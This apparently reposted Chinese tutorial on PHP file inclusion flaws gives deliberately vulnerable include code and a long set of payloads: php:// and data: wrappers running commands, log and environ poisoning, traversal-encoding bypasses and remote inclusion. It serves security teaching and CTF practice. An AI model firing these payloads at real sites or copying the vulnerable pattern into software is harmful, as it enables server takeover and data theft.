From:http://chybeta.github.io/2017/10/08/php文件包含漏洞/
php中引發文件包含漏洞的通常是以下四個函數:
include()
include_once()
require()
require_once()
reuqire() 如果在包含的過程中有錯,比如文件不存在等,則會直接退出,不執行後續語句。
include() 如果出錯的話,只會提出警告,會繼續執行後續語句。
require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。
當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),都會直接作為php文件進行解析。測試代碼:
<?php
$file = $_GET['file'];
include $file;
?>
在同目錄下有個phpinfo.txt,其內容為<? phpinfo(); ?>。則只需要訪問:
index.php?file=phpinfo.txt
即可成功解析phpinfo。
場景具有相關的文件包含函數。
文件包含函數中存在動態變量,比如 include $file;。
攻擊者能夠控制該變量,比如$file = $_GET['file'];。
分類LFI(Local File Inclusion)本地文件包含漏洞,顧名思義,指的是能打開並包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI。簡單的測試用例如前所示。
RFI(Remote File Inclusion)遠程文件包含漏洞。是指能夠包含遠程伺服器上的文件並執行。由於遠程伺服器的文件是我們可控的,因此漏洞一旦存在危害性會很大。
但RFI的利用條件較為苛刻,需要php.ini中進行配置
allow_url_fopen = On
allow_url_include = On
兩個配置選項均需要為On,才能遠程包含文件成功。
在php.ini中,allow_url_fopen默認一直是On,而allow_url_include從php5.2之後就默認為Off。
包含姿勢下面例子中測試代碼均為:
<?php
$file = $_GET['file'];
include $file;
?>
allow_url_fopen 默認為 On
allow_url_include 默認為 Off
若有特殊要求,會在利用條件裡指出。
php偽協議php://input利用條件:
allow_url_include = On。
對allow_url_fopen不做要求。
姿勢:
index.php
?file=php://input
POST:
<? phpinfo();?>
php://filter利用條件:無甚
姿勢:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。
>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關鍵字。在繞過一些waf時也許有用。
phar://利用條件:
php版本大於等於php5.3.0
姿勢:
假設有個文件phpinfo.txt,其內容為<?php phpinfo(); ?>,打包成zip壓縮包,如下:
指定絕對路徑
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相對路徑(這裡test.zip就在當前目錄下)
index.php?file=phar://test.zip/phpinfo.txt
zip://利用條件:
php版本大於等於php5.3.0
姿勢:
構造zip包的方法同phar。
但使用zip協議,需要指定絕對路徑,同時將#編碼為%23,之後填上壓縮包內的文件。
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
若是使用相對路徑,則會包含失敗。
data:URI schema利用條件:
php版本大於等於php5.2
allow_url_fopen = On
allow_url_include = On
姿勢一:
index.php?file=data:text/plain,<?php phpinfo();?>
執行命令:
index.php?file=data:text/plain,<?php system('whoami');?>
姿勢二:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號
+的url編碼為
%2b,
PD9waHAgcGhwaW5mbygpOz8+的base64解碼為:
<?php phpinfo();?>執行命令:
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解碼為:<?php system('whoami');?>
包含session利用條件:session文件路徑已知,且其中內容部分可控。
姿勢:
php的session文件的保存路徑可以在phpinfo的session.save_path看到。
在默認情況下一般是保存在/tmp目錄中。
session的文件名格式為sess_[phpsessid]。而phpsessid在發送的請求的cookie欄位中可以看到。
要包含並利用的話,需要能控制部分sesssion文件的內容。暫時沒有通用的辦法。有些時候,可以先包含進session文件,觀察裡面的內容,然後根據裡面的欄位來發現可控的變量,從而利用變量來寫入payload,並之後再次包含從而執行php代碼。
比如這篇文章:透過 LFI 引入 PHP session 檔案觸發 RCE(http://kb.hitcon.org/post/165429468072/%E9%80%8F%E9%81%8E-lfi-%E5%BC%95%E5%85%A5-php-session-%E6%AA%94%E6%A1%88%E8%A7%B8%E7%99%BC-rce)
包含日誌訪問日誌利用條件: 需要知道伺服器日誌的存儲路徑,且日誌文件可讀。
姿勢:
很多時候,web伺服器會將請求寫入到日誌文件中,比如說apache。在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。默認情況下,日誌保存路徑在 /var/log/apache2/。
但如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包後修改。
正常的php代碼已經寫入了 /var/log/apache2/access.log。然後進行包含即可。
在一些場景中,log的地址是被修改掉的。你可以通過讀取相應的配置文件後,再進行包含。
這裡提供一道包含日誌的CTF題目:SHACTF-2017- Bon Appétit (100)-writeup(https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/#Methon-Two)
SSH log利用條件:需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log
姿勢:
用ssh連接:
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
之後會提示輸入密碼等等,隨便輸入。
然後在remotehost的ssh-log中即可寫入php代碼:
之後進行文件包含即可。
參考:RCE with LFI and SSH Log Poisoning(http://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/)
包含environ利用條件:
php以cgi方式運行,這樣environ才會保持UA頭。
environ文件存儲位置已知,且environ文件可讀。
姿勢:
proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。
可以參考這個:
The proc/self/environ Injection(http://websecuritylog.blogspot.jp/2010/06/procselfenviron-injection.html)
shell via LFI - proc/self/environ method(https://www.exploit-db.com/papers/12886/)
包含fd跟包含environ類似。
參考: LFI Cheat Sheet:/proc/self/environ LFI Method(https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method)
包含臨時文件php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance(https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
類似利用臨時文件的存在,競爭時間去包含的,可以看看這道CTF題:XMAN夏令營-2017-babyweb-writeup(https://chybeta.github.io/2017/08/22/XMAN%E5%A4%8F%E4%BB%A4%E8%90%A5-2017-babyweb-writeup/)
包含上傳文件利用條件:千變萬化,不過至少得知道上傳的文件在哪,叫啥名字。。。
姿勢:
往往要配合上傳的姿勢,不說了,太多了。
其餘一個web服務往往會用到多個其他服務,比如ftp服務,資料庫等等。這些應用也會產生相應的文件,但這就需要具體情況具體分析咯。這裡就不展開了。
繞過姿勢接下來聊聊繞過姿勢。平常碰到的情況肯定不會是簡簡單單的include $_GET['file'];這樣直接把變量傳入包含函數的。在很多時候包含的變量/文件不是完全可控的,比如下面這段代碼指定了前綴和後綴:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
這樣就很「難」直接去包含前面提到的種種文件。
指定前綴先考慮一下指定了前綴的情況吧。測試代碼:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目錄遍歷這個最簡單了,簡要的提一下。
現在在/var/log/test.txt文件中有php代碼<?php phpinfo();?>,則利用../可以進行目錄遍歷,比如我們嘗試訪問:
include.php?file=../../log/test.txt
則伺服器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,也即/var/log/test.txt。從而包含成功。
編碼繞過伺服器端常常會對於../等做一些過濾,可以用一些編碼來進行繞過。下面這些總結來自《白帽子講Web安全》。
利用url編碼
%2e%2e%5c
..%5c
%2e%2e\
%2e%2e%2f
..%2f
%2e%2e/
../
..\
二次編碼
%252e%252e%255c
%252e%252e%252f
../
..\
容器/伺服器的編碼方式
..%c1%9c
..%c0%af
%c0%ae%c0%ae/
註:Why does Directory traversal attack %C0%AF work?(https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
註:java中會把」%c0%ae」解析為」\uC0AE」,最後轉義為ASCCII字符的」.」(點)
Apache Tomcat Directory Traversal
../
..\
指定後綴接著考慮指定後綴的情況。測試代碼:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URLurl格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過後綴限制。
姿勢一:query(?)
index.php?file=http://remoteaddr/remoteinfo.txt?
則包含的文件為 http://remoteaddr/remoteinfo.txt?/test/test.php
問號後面的部分/test/test.php,也就是指定的後綴被當作query從而被繞過。
姿勢二:fragment(#)
index.php?file=http://remoteaddr/remoteinfo.txt%23
則包含的文件為 http://remoteaddr/remoteinfo.txt#/test/test.php
問號後面的部分
/test/test.php,也就是指定的後綴被當作fragment從而被繞過。注意需要把
#進行url編碼為
%23。
利用協議前面有提到過利用zip協議和phar協議。假設現在測試代碼為:
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
構造壓縮包如下:
其中test.php內容為:
利用zip協議,注意要指定絕對路徑
index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta
則拼接後為:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。
在利用phar協議的時候有些問題。哪位能指教一下?
長度截斷利用條件: php版本 < php 5.2.8
目錄字符串,在linux下4096位元組時會達到最大值,在window下是256位元組。只要不斷的重複./
index.php?file=././././。。。省略。。。././shell.txt
則後綴/test/test.php,在達到最大值後會被直接丟棄掉。
0位元組截斷利用條件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
能利用00截斷的場景現在應該很少了:)
防禦方案在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗
做好文件的權限管理
對危險字符進行過濾等等
Refference《白帽子講Web安全》
From LFI to RCE in php(https://dustri.org/b/from-lfi-to-rce-in-php.html)
l3m0n: 文件包含漏洞小結(http://www.cnblogs.com/iamstudy/articles/include_file.html)
LFI Cheat Sheet(https://highon.coffee/blog/lfi-cheat-sheet/)
Local File Inclusion(https://github.com/lucyoa/ctf-wiki/tree/master/web/file-inclusion)